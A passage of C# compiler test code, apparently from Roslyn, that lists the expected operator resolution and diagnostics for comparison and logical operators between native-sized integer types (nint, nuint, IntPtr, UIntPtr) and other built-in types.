binaryOps(symbol, "nuint?", "sbyte", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "byte", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "short", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "ushort", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "int", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint?", "int"), getAmbiguousBinaryOpsDiagnostics(symbol, "int", "nuint?"));
binaryOps(symbol, "nuint?", "uint", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "nint", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint?", "nint"), getAmbiguousBinaryOpsDiagnostics(symbol, "nint", "nuint?"));
binaryOps(symbol, "nuint?", "nuint", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "long", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint?", "long"), getAmbiguousBinaryOpsDiagnostics(symbol, "long", "nuint?"));
binaryOps(symbol, "nuint?", "ulong", $"bool ulong.{name}(ulong left, ulong right)");
binaryOps(symbol, "nuint?", "float", $"bool float.{name}(float left, float right)");
binaryOps(symbol, "nuint?", "double", $"bool double.{name}(double left, double right)");
binaryOps(symbol, "nuint?", "decimal", $"bool decimal.{name}(decimal left, decimal right)");
binaryOps(symbol, "nuint?", "System.IntPtr");
binaryOps(symbol, "nuint?", "System.UIntPtr", $"bool System.UIntPtr.{name}(System.UIntPtr value1, System.UIntPtr value2)");
binaryOps(symbol, "nuint?", "bool?");
binaryOps(symbol, "nuint?", "char?", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "sbyte?", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "byte?", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "short?", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "ushort?", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "int?", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint?", "int?"), getAmbiguousBinaryOpsDiagnostics(symbol, "int?", "nuint?"));
binaryOps(symbol, "nuint?", "uint?", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "nint?", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint?", "nint?"), getAmbiguousBinaryOpsDiagnostics(symbol, "nint?", "nuint?"));
binaryOps(symbol, "nuint?", "nuint?", $"bool nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "long?", null, null, getAmbiguousBinaryOpsDiagnostics(symbol, "nuint?", "long?"), getAmbiguousBinaryOpsDiagnostics(symbol, "long?", "nuint?"));
binaryOps(symbol, "nuint?", "ulong?", $"bool ulong.{name}(ulong left, ulong right)");
binaryOps(symbol, "nuint?", "float?", $"bool float.{name}(float left, float right)");
binaryOps(symbol, "nuint?", "double?", $"bool double.{name}(double left, double right)");
binaryOps(symbol, "nuint?", "decimal?", $"bool decimal.{name}(decimal left, decimal right)");
binaryOps(symbol, "nuint?", "System.IntPtr?");
binaryOps(symbol, "nuint?", "System.UIntPtr?", $"bool System.UIntPtr.{name}(System.UIntPtr value1, System.UIntPtr value2)");
binaryOps(symbol, "System.IntPtr", "object");
binaryOps(symbol, "System.IntPtr", "string");
binaryOps(symbol, "System.IntPtr", "void*");
binaryOps(symbol, "System.IntPtr", "bool");
binaryOps(symbol, "System.IntPtr", "char");
binaryOps(symbol, "System.IntPtr", "sbyte");
binaryOps(symbol, "System.IntPtr", "byte");
binaryOps(symbol, "System.IntPtr", "short");
binaryOps(symbol, "System.IntPtr", "ushort");
binaryOps(symbol, "System.IntPtr", "int");
binaryOps(symbol, "System.IntPtr", "uint");
binaryOps(symbol, "System.IntPtr", "nint", $"bool System.IntPtr.{name}(System.IntPtr value1, System.IntPtr value2)");
binaryOps(symbol, "System.IntPtr", "nuint");
binaryOps(symbol, "System.IntPtr", "long");
binaryOps(symbol, "System.IntPtr", "ulong");
binaryOps(symbol, "System.IntPtr", "float");
binaryOps(symbol, "System.IntPtr", "double");
binaryOps(symbol, "System.IntPtr", "decimal");
binaryOps(symbol, "System.IntPtr", "System.IntPtr", $"bool System.IntPtr.{name}(System.IntPtr value1, System.IntPtr value2)");
binaryOps(symbol, "System.IntPtr", "System.UIntPtr");
binaryOps(symbol, "System.IntPtr", "bool?");
binaryOps(symbol, "System.IntPtr", "char?");
binaryOps(symbol, "System.IntPtr", "sbyte?");
binaryOps(symbol, "System.IntPtr", "byte?");
binaryOps(symbol, "System.IntPtr", "short?");
binaryOps(symbol, "System.IntPtr", "ushort?");
binaryOps(symbol, "System.IntPtr", "int?");
binaryOps(symbol, "System.IntPtr", "uint?");
binaryOps(symbol, "System.IntPtr", "nint?", $"bool System.IntPtr.{name}(System.IntPtr value1, System.IntPtr value2)");
binaryOps(symbol, "System.IntPtr", "nuint?");
binaryOps(symbol, "System.IntPtr", "long?");
binaryOps(symbol, "System.IntPtr", "ulong?");
binaryOps(symbol, "System.IntPtr", "float?");
binaryOps(symbol, "System.IntPtr", "double?");
binaryOps(symbol, "System.IntPtr", "decimal?");
binaryOps(symbol, "System.IntPtr", "System.IntPtr?", $"bool System.IntPtr.{name}(System.IntPtr value1, System.IntPtr value2)");
binaryOps(symbol, "System.IntPtr", "System.UIntPtr?");
binaryOps(symbol, "System.IntPtr", "object");
binaryOps(symbol, "System.IntPtr?", "string");
binaryOps(symbol, "System.IntPtr?", "void*");
binaryOps(symbol, "System.IntPtr?", "bool");
binaryOps(symbol, "System.IntPtr?", "char");
binaryOps(symbol, "System.IntPtr?", "sbyte");
binaryOps(symbol, "System.IntPtr?", "byte");
binaryOps(symbol, "System.IntPtr?", "short");
binaryOps(symbol, "System.IntPtr?", "ushort");
binaryOps(symbol, "System.IntPtr?", "int");
binaryOps(symbol, "System.IntPtr?", "uint");
binaryOps(symbol, "System.IntPtr?", "nint", $"bool System.IntPtr.{name}(System.IntPtr value1, System.IntPtr value2)");
binaryOps(symbol, "System.IntPtr?", "nuint");
binaryOps(symbol, "System.IntPtr?", "long");
binaryOps(symbol, "System.IntPtr?", "ulong");
binaryOps(symbol, "System.IntPtr?", "float");
binaryOps(symbol, "System.IntPtr?", "double");
binaryOps(symbol, "System.IntPtr?", "decimal");
binaryOps(symbol, "System.IntPtr?", "System.IntPtr", $"bool System.IntPtr.{name}(System.IntPtr value1, System.IntPtr value2)");
binaryOps(symbol, "System.IntPtr?", "System.UIntPtr");
binaryOps(symbol, "System.IntPtr?", "bool?");
binaryOps(symbol, "System.IntPtr?", "char?");
binaryOps(symbol, "System.IntPtr?", "sbyte?");
binaryOps(symbol, "System.IntPtr?", "byte?");
binaryOps(symbol, "System.IntPtr?", "short?");
binaryOps(symbol, "System.IntPtr?", "ushort?");
binaryOps(symbol, "System.IntPtr?", "int?");
binaryOps(symbol, "System.IntPtr?", "uint?");
binaryOps(symbol, "System.IntPtr?", "nint?", $"bool System.IntPtr.{name}(System.IntPtr value1, System.IntPtr value2)");
binaryOps(symbol, "System.IntPtr?", "nuint?");
binaryOps(symbol, "System.IntPtr?", "long?");
binaryOps(symbol, "System.IntPtr?", "ulong?");
binaryOps(symbol, "System.IntPtr?", "float?");
binaryOps(symbol, "System.IntPtr?", "double?");
binaryOps(symbol, "System.IntPtr?", "decimal?");
binaryOps(symbol, "System.IntPtr?", "System.IntPtr?", $"bool System.IntPtr.{name}(System.IntPtr value1, System.IntPtr value2)");
binaryOps(symbol, "System.IntPtr?", "System.UIntPtr?");
binaryOps(symbol, "System.UIntPtr", "object");
binaryOps(symbol, "System.UIntPtr", "string");
binaryOps(symbol, "System.UIntPtr", "void*");
binaryOps(symbol, "System.UIntPtr", "bool");
binaryOps(symbol, "System.UIntPtr", "char");
binaryOps(symbol, "System.UIntPtr", "sbyte");
binaryOps(symbol, "System.UIntPtr", "byte");
binaryOps(symbol, "System.UIntPtr", "short");
binaryOps(symbol, "System.UIntPtr", "ushort");
binaryOps(symbol, "System.UIntPtr", "int");
binaryOps(symbol, "System.UIntPtr", "uint");
binaryOps(symbol, "System.UIntPtr", "nint");
binaryOps(symbol, "System.UIntPtr", "nuint", $"bool System.UIntPtr.{name}(System.UIntPtr value1, System.UIntPtr value2)");
binaryOps(symbol, "System.UIntPtr", "long");
binaryOps(symbol, "System.UIntPtr", "ulong");
binaryOps(symbol, "System.UIntPtr", "float");
binaryOps(symbol, "System.UIntPtr", "double");
binaryOps(symbol, "System.UIntPtr", "decimal");
binaryOps(symbol, "System.UIntPtr", "System.IntPtr");
binaryOps(symbol, "System.UIntPtr", "System.UIntPtr", $"bool System.UIntPtr.{name}(System.UIntPtr value1, System.UIntPtr value2)");
binaryOps(symbol, "System.UIntPtr", "bool?");
binaryOps(symbol, "System.UIntPtr", "char?");
binaryOps(symbol, "System.UIntPtr", "sbyte?");
binaryOps(symbol, "System.UIntPtr", "byte?");
binaryOps(symbol, "System.UIntPtr", "short?");
binaryOps(symbol, "System.UIntPtr", "ushort?");
binaryOps(symbol, "System.UIntPtr", "int?");
binaryOps(symbol, "System.UIntPtr", "uint?");
binaryOps(symbol, "System.UIntPtr", "nint?");
binaryOps(symbol, "System.UIntPtr", "nuint?", $"bool System.UIntPtr.{name}(System.UIntPtr value1, System.UIntPtr value2)");
binaryOps(symbol, "System.UIntPtr", "long?");
binaryOps(symbol, "System.UIntPtr", "ulong?");
binaryOps(symbol, "System.UIntPtr", "float?");
binaryOps(symbol, "System.UIntPtr", "double?");
binaryOps(symbol, "System.UIntPtr", "decimal?");
binaryOps(symbol, "System.UIntPtr", "System.IntPtr?");
binaryOps(symbol, "System.UIntPtr", "System.UIntPtr?", $"bool System.UIntPtr.{name}(System.UIntPtr value1, System.UIntPtr value2)");
binaryOps(symbol, "System.UIntPtr", "object");
binaryOps(symbol, "System.UIntPtr?", "string");
binaryOps(symbol, "System.UIntPtr?", "void*");
binaryOps(symbol, "System.UIntPtr?", "bool");
binaryOps(symbol, "System.UIntPtr?", "char");
binaryOps(symbol, "System.UIntPtr?", "sbyte");
binaryOps(symbol, "System.UIntPtr?", "byte");
binaryOps(symbol, "System.UIntPtr?", "short");
binaryOps(symbol, "System.UIntPtr?", "ushort");
binaryOps(symbol, "System.UIntPtr?", "int");
binaryOps(symbol, "System.UIntPtr?", "uint");
binaryOps(symbol, "System.UIntPtr?", "nint");
binaryOps(symbol, "System.UIntPtr?", "nuint", $"bool System.UIntPtr.{name}(System.UIntPtr value1, System.UIntPtr value2)");
binaryOps(symbol, "System.UIntPtr?", "long");
binaryOps(symbol, "System.UIntPtr?", "ulong");
binaryOps(symbol, "System.UIntPtr?", "float");
binaryOps(symbol, "System.UIntPtr?", "double");
binaryOps(symbol, "System.UIntPtr?", "decimal");
binaryOps(symbol, "System.UIntPtr?", "System.IntPtr");
binaryOps(symbol, "System.UIntPtr?", "System.UIntPtr", $"bool System.UIntPtr.{name}(System.UIntPtr value1, System.UIntPtr value2)");
binaryOps(symbol, "System.UIntPtr?", "bool?");
binaryOps(symbol, "System.UIntPtr?", "char?");
binaryOps(symbol, "System.UIntPtr?", "sbyte?");
binaryOps(symbol, "System.UIntPtr?", "byte?");
binaryOps(symbol, "System.UIntPtr?", "short?");
binaryOps(symbol, "System.UIntPtr?", "ushort?");
binaryOps(symbol, "System.UIntPtr?", "int?");
binaryOps(symbol, "System.UIntPtr?", "uint?");
binaryOps(symbol, "System.UIntPtr?", "nint?");
binaryOps(symbol, "System.UIntPtr?", "nuint?", $"bool System.UIntPtr.{name}(System.UIntPtr value1, System.UIntPtr value2)");
binaryOps(symbol, "System.UIntPtr?", "long?");
binaryOps(symbol, "System.UIntPtr?", "ulong?");
binaryOps(symbol, "System.UIntPtr?", "float?");
binaryOps(symbol, "System.UIntPtr?", "double?");
binaryOps(symbol, "System.UIntPtr?", "decimal?");
binaryOps(symbol, "System.UIntPtr?", "System.IntPtr?");
binaryOps(symbol, "System.UIntPtr?", "System.UIntPtr?", $"bool System.UIntPtr.{name}(System.UIntPtr value1, System.UIntPtr value2)");
}
foreach ((string symbol, string name) in logicalOperators)
{
binaryOps(symbol, "nint", "object");
binaryOps(symbol, "nint", "string");
binaryOps(symbol, "nint", "void*", null, null, getBadBinaryOpsDiagnostics(symbol, "nint", "void*", includeVoidError: true), getBadBinaryOpsDiagnostics(symbol, "void*", "nint", includeVoidError: true));
binaryOps(symbol, "nint", "bool");
binaryOps(symbol, "nint", "char", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "sbyte", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "byte", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "short", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "ushort", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "int", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "uint", $"long long.{name}(long left, long right)");
binaryOps(symbol, "nint", "nint", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "nuint");
binaryOps(symbol, "nint", "long", $"long long.{name}(long left, long right)");
binaryOps(symbol, "nint", "ulong");
binaryOps(symbol, "nint", "float");
binaryOps(symbol, "nint", "double");
binaryOps(symbol, "nint", "decimal");
binaryOps(symbol, "nint", "System.IntPtr", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "System.UIntPtr");
binaryOps(symbol, "nint", "bool?");
binaryOps(symbol, "nint", "char?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "sbyte?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "byte?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "short?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "ushort?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "int?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "uint?", $"long long.{name}(long left, long right)");
binaryOps(symbol, "nint", "nint?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "nuint?");
binaryOps(symbol, "nint", "long?", $"long long.{name}(long left, long right)");
binaryOps(symbol, "nint", "ulong?");
binaryOps(symbol, "nint", "float?");
binaryOps(symbol, "nint", "double?");
binaryOps(symbol, "nint", "decimal?");
binaryOps(symbol, "nint", "System.IntPtr?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint", "System.UIntPtr?");
binaryOps(symbol, "nint", "object");
binaryOps(symbol, "nint?", "string");
binaryOps(symbol, "nint?", "void*", null, null, getBadBinaryOpsDiagnostics(symbol, "nint?", "void*", includeVoidError: true), getBadBinaryOpsDiagnostics(symbol, "void*", "nint?", includeVoidError: true));
binaryOps(symbol, "nint?", "bool");
binaryOps(symbol, "nint?", "char", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "sbyte", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "byte", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "short", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "ushort", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "int", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "uint", $"long long.{name}(long left, long right)");
binaryOps(symbol, "nint?", "nint", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "nuint");
binaryOps(symbol, "nint?", "long", $"long long.{name}(long left, long right)");
binaryOps(symbol, "nint?", "ulong");
binaryOps(symbol, "nint?", "float");
binaryOps(symbol, "nint?", "double");
binaryOps(symbol, "nint?", "decimal");
binaryOps(symbol, "nint?", "System.IntPtr", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "System.UIntPtr");
binaryOps(symbol, "nint?", "bool?");
binaryOps(symbol, "nint?", "char?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "sbyte?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "byte?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "short?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "ushort?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "int?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "uint?", $"long long.{name}(long left, long right)");
binaryOps(symbol, "nint?", "nint?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "nuint?");
binaryOps(symbol, "nint?", "long?", $"long long.{name}(long left, long right)");
binaryOps(symbol, "nint?", "ulong?");
binaryOps(symbol, "nint?", "float?");
binaryOps(symbol, "nint?", "double?");
binaryOps(symbol, "nint?", "decimal?");
binaryOps(symbol, "nint?", "System.IntPtr?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "nint?", "System.UIntPtr?");
binaryOps(symbol, "nuint", "object");
binaryOps(symbol, "nuint", "string");
binaryOps(symbol, "nuint", "void*", null, null, getBadBinaryOpsDiagnostics(symbol, "nuint", "void*", includeVoidError: true), getBadBinaryOpsDiagnostics(symbol, "void*", "nuint", includeVoidError: true));
binaryOps(symbol, "nuint", "bool");
binaryOps(symbol, "nuint", "char", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "sbyte", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "byte", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "short", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "ushort", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "int");
binaryOps(symbol, "nuint", "uint", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "nint");
binaryOps(symbol, "nuint", "nuint", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "long");
binaryOps(symbol, "nuint", "ulong", $"ulong ulong.{name}(ulong left, ulong right)");
binaryOps(symbol, "nuint", "float");
binaryOps(symbol, "nuint", "double");
binaryOps(symbol, "nuint", "decimal");
binaryOps(symbol, "nuint", "System.IntPtr");
binaryOps(symbol, "nuint", "System.UIntPtr", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "bool?");
binaryOps(symbol, "nuint", "char?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "sbyte?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "byte?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "short?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "ushort?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "int?");
binaryOps(symbol, "nuint", "uint?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "nint?");
binaryOps(symbol, "nuint", "nuint?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint", "long?");
binaryOps(symbol, "nuint", "ulong?", $"ulong ulong.{name}(ulong left, ulong right)");
binaryOps(symbol, "nuint", "float?");
binaryOps(symbol, "nuint", "double?");
binaryOps(symbol, "nuint", "decimal?");
binaryOps(symbol, "nuint", "System.IntPtr?");
binaryOps(symbol, "nuint", "System.UIntPtr?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "object");
binaryOps(symbol, "nuint?", "string");
binaryOps(symbol, "nuint?", "void*", null, null, getBadBinaryOpsDiagnostics(symbol, "nuint?", "void*", includeVoidError: true), getBadBinaryOpsDiagnostics(symbol, "void*", "nuint?", includeVoidError: true));
binaryOps(symbol, "nuint?", "bool");
binaryOps(symbol, "nuint?", "char", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "sbyte", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "byte", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "short", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "ushort", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "int");
binaryOps(symbol, "nuint?", "uint", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "nint");
binaryOps(symbol, "nuint?", "nuint", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "long");
binaryOps(symbol, "nuint?", "ulong", $"ulong ulong.{name}(ulong left, ulong right)");
binaryOps(symbol, "nuint?", "float");
binaryOps(symbol, "nuint?", "double");
binaryOps(symbol, "nuint?", "decimal");
binaryOps(symbol, "nuint?", "System.IntPtr");
binaryOps(symbol, "nuint?", "System.UIntPtr", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "bool?");
binaryOps(symbol, "nuint?", "char?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "sbyte?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "byte?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "short?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "ushort?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "int?");
binaryOps(symbol, "nuint?", "uint?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "nint?");
binaryOps(symbol, "nuint?", "nuint?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "nuint?", "long?");
binaryOps(symbol, "nuint?", "ulong?", $"ulong ulong.{name}(ulong left, ulong right)");
binaryOps(symbol, "nuint?", "float?");
binaryOps(symbol, "nuint?", "double?");
binaryOps(symbol, "nuint?", "decimal?");
binaryOps(symbol, "nuint?", "System.IntPtr?");
binaryOps(symbol, "nuint?", "System.UIntPtr?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "System.IntPtr", "object");
binaryOps(symbol, "System.IntPtr", "string");
binaryOps(symbol, "System.IntPtr", "void*", null, null, getBadBinaryOpsDiagnostics(symbol, "System.IntPtr", "void*", includeVoidError: true), getBadBinaryOpsDiagnostics(symbol, "void*", "System.IntPtr", includeVoidError: true));
binaryOps(symbol, "System.IntPtr", "bool");
binaryOps(symbol, "System.IntPtr", "char");
binaryOps(symbol, "System.IntPtr", "sbyte");
binaryOps(symbol, "System.IntPtr", "byte");
binaryOps(symbol, "System.IntPtr", "short");
binaryOps(symbol, "System.IntPtr", "ushort");
binaryOps(symbol, "System.IntPtr", "int");
binaryOps(symbol, "System.IntPtr", "uint");
binaryOps(symbol, "System.IntPtr", "nint", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "System.IntPtr", "nuint");
binaryOps(symbol, "System.IntPtr", "long");
binaryOps(symbol, "System.IntPtr", "ulong");
binaryOps(symbol, "System.IntPtr", "float");
binaryOps(symbol, "System.IntPtr", "double");
binaryOps(symbol, "System.IntPtr", "decimal");
binaryOps(symbol, "System.IntPtr", "System.IntPtr");
binaryOps(symbol, "System.IntPtr", "System.UIntPtr");
binaryOps(symbol, "System.IntPtr", "bool?");
binaryOps(symbol, "System.IntPtr", "char?");
binaryOps(symbol, "System.IntPtr", "sbyte?");
binaryOps(symbol, "System.IntPtr", "byte?");
binaryOps(symbol, "System.IntPtr", "short?");
binaryOps(symbol, "System.IntPtr", "ushort?");
binaryOps(symbol, "System.IntPtr", "int?");
binaryOps(symbol, "System.IntPtr", "uint?");
binaryOps(symbol, "System.IntPtr", "nint?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "System.IntPtr", "nuint?");
binaryOps(symbol, "System.IntPtr", "long?");
binaryOps(symbol, "System.IntPtr", "ulong?");
binaryOps(symbol, "System.IntPtr", "float?");
binaryOps(symbol, "System.IntPtr", "double?");
binaryOps(symbol, "System.IntPtr", "decimal?");
binaryOps(symbol, "System.IntPtr", "System.IntPtr?");
binaryOps(symbol, "System.IntPtr", "System.UIntPtr?");
binaryOps(symbol, "System.IntPtr", "object");
binaryOps(symbol, "System.IntPtr?", "string");
binaryOps(symbol, "System.IntPtr?", "void*", null, null, getBadBinaryOpsDiagnostics(symbol, "System.IntPtr?", "void*", includeVoidError: true), getBadBinaryOpsDiagnostics(symbol, "void*", "System.IntPtr?", includeVoidError: true));
binaryOps(symbol, "System.IntPtr?", "bool");
binaryOps(symbol, "System.IntPtr?", "char");
binaryOps(symbol, "System.IntPtr?", "sbyte");
binaryOps(symbol, "System.IntPtr?", "byte");
binaryOps(symbol, "System.IntPtr?", "short");
binaryOps(symbol, "System.IntPtr?", "ushort");
binaryOps(symbol, "System.IntPtr?", "int");
binaryOps(symbol, "System.IntPtr?", "uint");
binaryOps(symbol, "System.IntPtr?", "nint", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "System.IntPtr?", "nuint");
binaryOps(symbol, "System.IntPtr?", "long");
binaryOps(symbol, "System.IntPtr?", "ulong");
binaryOps(symbol, "System.IntPtr?", "float");
binaryOps(symbol, "System.IntPtr?", "double");
binaryOps(symbol, "System.IntPtr?", "decimal");
binaryOps(symbol, "System.IntPtr?", "System.IntPtr");
binaryOps(symbol, "System.IntPtr?", "System.UIntPtr");
binaryOps(symbol, "System.IntPtr?", "bool?");
binaryOps(symbol, "System.IntPtr?", "char?");
binaryOps(symbol, "System.IntPtr?", "sbyte?");
binaryOps(symbol, "System.IntPtr?", "byte?");
binaryOps(symbol, "System.IntPtr?", "short?");
binaryOps(symbol, "System.IntPtr?", "ushort?");
binaryOps(symbol, "System.IntPtr?", "int?");
binaryOps(symbol, "System.IntPtr?", "uint?");
binaryOps(symbol, "System.IntPtr?", "nint?", $"nint nint.{name}(nint left, nint right)");
binaryOps(symbol, "System.IntPtr?", "nuint?");
binaryOps(symbol, "System.IntPtr?", "long?");
binaryOps(symbol, "System.IntPtr?", "ulong?");
binaryOps(symbol, "System.IntPtr?", "float?");
binaryOps(symbol, "System.IntPtr?", "double?");
binaryOps(symbol, "System.IntPtr?", "decimal?");
binaryOps(symbol, "System.IntPtr?", "System.IntPtr?");
binaryOps(symbol, "System.IntPtr?", "System.UIntPtr?");
binaryOps(symbol, "System.UIntPtr", "object");
binaryOps(symbol, "System.UIntPtr", "string");
binaryOps(symbol, "System.UIntPtr", "void*", null, null, getBadBinaryOpsDiagnostics(symbol, "System.UIntPtr", "void*", includeVoidError: true), getBadBinaryOpsDiagnostics(symbol, "void*", "System.UIntPtr", includeVoidError: true));
binaryOps(symbol, "System.UIntPtr", "bool");
binaryOps(symbol, "System.UIntPtr", "char");
binaryOps(symbol, "System.UIntPtr", "sbyte");
binaryOps(symbol, "System.UIntPtr", "byte");
binaryOps(symbol, "System.UIntPtr", "short");
binaryOps(symbol, "System.UIntPtr", "ushort");
binaryOps(symbol, "System.UIntPtr", "int");
binaryOps(symbol, "System.UIntPtr", "uint");
binaryOps(symbol, "System.UIntPtr", "nint");
binaryOps(symbol, "System.UIntPtr", "nuint", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "System.UIntPtr", "long");
binaryOps(symbol, "System.UIntPtr", "ulong");
binaryOps(symbol, "System.UIntPtr", "float");
binaryOps(symbol, "System.UIntPtr", "double");
binaryOps(symbol, "System.UIntPtr", "decimal");
binaryOps(symbol, "System.UIntPtr", "System.IntPtr");
binaryOps(symbol, "System.UIntPtr", "System.UIntPtr");
binaryOps(symbol, "System.UIntPtr", "bool?");
binaryOps(symbol, "System.UIntPtr", "char?");
binaryOps(symbol, "System.UIntPtr", "sbyte?");
binaryOps(symbol, "System.UIntPtr", "byte?");
binaryOps(symbol, "System.UIntPtr", "short?");
binaryOps(symbol, "System.UIntPtr", "ushort?");
binaryOps(symbol, "System.UIntPtr", "int?");
binaryOps(symbol, "System.UIntPtr", "uint?");
binaryOps(symbol, "System.UIntPtr", "nint?");
binaryOps(symbol, "System.UIntPtr", "nuint?", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "System.UIntPtr", "long?");
binaryOps(symbol, "System.UIntPtr", "ulong?");
binaryOps(symbol, "System.UIntPtr", "float?");
binaryOps(symbol, "System.UIntPtr", "double?");
binaryOps(symbol, "System.UIntPtr", "decimal?");
binaryOps(symbol, "System.UIntPtr", "System.IntPtr?");
binaryOps(symbol, "System.UIntPtr", "System.UIntPtr?");
binaryOps(symbol, "System.UIntPtr", "object");
binaryOps(symbol, "System.UIntPtr?", "string");
binaryOps(symbol, "System.UIntPtr?", "void*", null, null, getBadBinaryOpsDiagnostics(symbol, "System.UIntPtr?", "void*", includeVoidError: true), getBadBinaryOpsDiagnostics(symbol, "void*", "System.UIntPtr?", includeVoidError: true));
binaryOps(symbol, "System.UIntPtr?", "bool");
binaryOps(symbol, "System.UIntPtr?", "char");
binaryOps(symbol, "System.UIntPtr?", "sbyte");
binaryOps(symbol, "System.UIntPtr?", "byte");
binaryOps(symbol, "System.UIntPtr?", "short");
binaryOps(symbol, "System.UIntPtr?", "ushort");
binaryOps(symbol, "System.UIntPtr?", "int");
binaryOps(symbol, "System.UIntPtr?", "uint");
binaryOps(symbol, "System.UIntPtr?", "nint");
binaryOps(symbol, "System.UIntPtr?", "nuint", $"nuint nuint.{name}(nuint left, nuint right)");
binaryOps(symbol, "System.UIntPtr?", "long");
